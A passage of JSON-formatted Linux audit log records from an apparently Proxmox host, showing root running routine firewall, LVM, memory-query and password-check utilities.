arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59572 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966170680,"@rawstring":"node=pve type=PATH msg=audit(1781966170.680:68739): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965424186,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965424.186:65544): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964675236,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964675.236:62101): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13c150 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59570 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966170680,"@rawstring":"node=pve type=PATH msg=audit(1781966170.680:68739): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965424164,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965424.164:65543): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964675231,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964675.231:62100): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1305b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59569 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966170680,"@rawstring":"node=pve type=PATH msg=audit(1781966170.680:68738): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965422949,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965422.949:65542): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964675226,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964675.226:62099): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0b5660 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59568 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966170680,"@rawstring":"node=pve type=PATH msg=audit(1781966170.680:68737): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965422949,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965422.949:65541): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964675219,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964675.219:62098): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59567 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966170675,"@rawstring":"node=pve type=PATH msg=audit(1781966170.675:68736): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965422949,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965422.949:65540): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964675213,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964675.213:62097): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59566 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966170675,"@rawstring":"node=pve type=PATH msg=audit(1781966170.675:68736): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965422941,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965422.941:65539): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964675210,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964675.210:62096): arch=c000003e syscall=59 success=yes exit=0 a0=5e70f6912e90 a1=5e70f690fc10 a2=5e70f68f1680 a3=5 items=2 ppid=59559 pid=59565 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966170675,"@rawstring":"node=pve type=PATH msg=audit(1781966170.675:68735): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965422941,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965422.941:65538): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964675206,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964675.206:62095): arch=c000003e syscall=59 success=yes exit=0 a0=5e70bd1a6ac8 a1=7fff6a1d0140 a2=5e70f68f1680 a3=5e70bd18a24e items=2 ppid=59559 pid=59561 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966170675,"@rawstring":"node=pve type=PATH msg=audit(1781966170.675:68734): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965422941,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965422.941:65537): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964675205,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964675.205:62094): arch=c000003e syscall=59 success=yes exit=0 a0=7fff6a1d0100 a1=5e70f68f8310 a2=5e70f68f1680 a3=5 items=2 ppid=59559 pid=59560 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166141,"@rawstring":"node=pve type=PATH msg=audit(1781966166.141:68733): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965420439,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965420.439:65536): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781964675201,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964675.201:62092): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59559 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166141,"@rawstring":"node=pve type=PATH msg=audit(1781966166.141:68733): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965420439,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965420.439:65535): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781964675196,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964675.196:62091): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59558 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166137,"@rawstring":"node=pve type=PATH msg=audit(1781966166.137:68732): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965420438,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965420.438:65534): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781964675189,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964675.189:62090): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0ece40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59557 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166137,"@rawstring":"node=pve type=PATH msg=audit(1781966166.137:68732): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965417931,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965417.931:65533): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964675184,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964675.184:62089): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0cf5a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59556 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166137,"@rawstring":"node=pve type=PATH msg=audit(1781966166.137:68731): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965417931,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965417.931:65532): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964675177,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964675.177:62088): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0dedf0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59555 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166137,"@rawstring":"node=pve type=PATH msg=audit(1781966166.137:68731): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965417931,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965417.931:65531): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964675170,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964675.170:62087): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1301d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59554 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166136,"@rawstring":"node=pve type=PATH msg=audit(1781966166.136:68730): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965417925,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965417.925:65530): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964674672,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964674.672:62086): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d740be20 a1=64f8d73e0690 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59551 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166131,"@rawstring":"node=pve type=PATH msg=audit(1781966166.131:68729): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965417925,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965417.925:65529): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964674648,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964674.648:62085): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d26f7140 a1=64f8d1939900 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59550 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166131,"@rawstring":"node=pve type=PATH msg=audit(1781966166.131:68729): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965417925,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965417.925:65528): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964671683,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964671.683:62083): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=76b0b73a4da6 a2=80000 a3=0 items=1 ppid=1216 pid=59549 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"etc-passwd_change\""} {"@timestamp":1781966166131,"@rawstring":"node=pve type=PATH msg=audit(1781966166.131:68729): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965415486,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965415.486:65527): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964671680,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964671.680:62082): arch=c000003e syscall=59 success=yes exit=0 a0=715f56b7804a a1=7ffdfadb3f50 a2=715f56b7b028 a3=0 items=2 ppid=1216 pid=59549 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"exec\""} {"@timestamp":1781966166120,"@rawstring":"node=pve type=PATH msg=audit(1781966166.120:68728): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965415481,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965415.481:65526): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964671643,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964671.643:62081): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=78b62c463da6 a2=80000 a3=0 items=1 ppid=1216 pid=59548 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"etc-passwd_change\""} {"@timestamp":1781966166120,"@rawstring":"node=pve type=PATH msg=audit(1781966166.120:68728): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965415480,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965415.480:65525): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964671639,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964671.639:62080): arch=c000003e syscall=59 success=yes exit=0 a0=715f56b7804a a1=7ffdfadb4170 a2=715f56b7b028 a3=0 items=2 ppid=1216 pid=59548 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"exec\""} {"@timestamp":1781966166106,"@rawstring":"node=pve type=PATH msg=audit(1781966166.106:68727): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965415479,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965415.479:65524): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964670233,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964670.233:62079): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59547 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166106,"@rawstring":"node=pve type=PATH msg=audit(1781966166.106:68727): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965415475,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965415.475:65523): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964670222,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964670.222:62076): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59546 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166093,"@rawstring":"node=pve type=PATH msg=audit(1781966166.093:68726): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965415467,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965415.467:65522): proctitle=\"ip6tables-save\""} {"@timestamp":1781964667876,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964667.876:62072): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7f7e8af90da6 a2=80000 a3=0 items=1 ppid=1216 pid=59545 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"etc-passwd_change\""} {"@timestamp":1781966166093,"@rawstring":"node=pve type=PATH msg=audit(1781966166.093:68726): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965415460,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965415.460:65521): proctitle=\"iptables-save\""} {"@timestamp":1781964667874,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964667.874:62071): arch=c000003e syscall=59 success=yes exit=0 a0=715f56b7804a a1=7ffdfadb3f50 a2=715f56b7b028 a3=0 items=2 ppid=1216 pid=59545 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"exec\""} {"@timestamp":1781966166074,"@rawstring":"node=pve type=PATH msg=audit(1781966166.074:68725): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965415453,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965415.453:65520): proctitle=\"ip6tables-save\""} {"@timestamp":1781964667836,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964667.836:62070): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=792c6f8f4da6 a2=80000 a3=0 items=1 ppid=1216 pid=59544 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"etc-passwd_change\""} {"@timestamp":1781966166074,"@rawstring":"node=pve type=PATH msg=audit(1781966166.074:68725): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965415445,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965415.445:65519): proctitle=\"iptables-save\""} {"@timestamp":1781964667833,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964667.833:62069): arch=c000003e syscall=59 success=yes exit=0 a0=715f56b7804a a1=7ffdfadb4170 a2=715f56b7b028 a3=0 items=2 ppid=1216 pid=59544 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"exec\""} {"@timestamp":1781966166067,"@rawstring":"node=pve type=PATH msg=audit(1781966166.067:68723): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965415442,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965415.442:65518): proctitle=\"ebtables-restore\""} {"@timestamp":1781964665214,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964665.214:62068): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59543 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166067,"@rawstring":"node=pve type=PATH msg=audit(1781966166.067:68723): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965415439,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965415.439:65517): proctitle=\"ebtables-restore\""} {"@timestamp":1781964665207,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964665.207:62065): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59542 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166061,"@rawstring":"node=pve type=PATH msg=audit(1781966166.061:68722): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965415435,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965415.435:65516): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964665159,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964665.159:62062): arch=c000003e syscall=59 success=yes exit=0 a0=5602b502ab20 a1=5602b50369f0 a2=5602b5004680 a3=5 items=2 ppid=59535 pid=59541 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166061,"@rawstring":"node=pve type=PATH msg=audit(1781966166.061:68722): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965415429,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965415.429:65515): 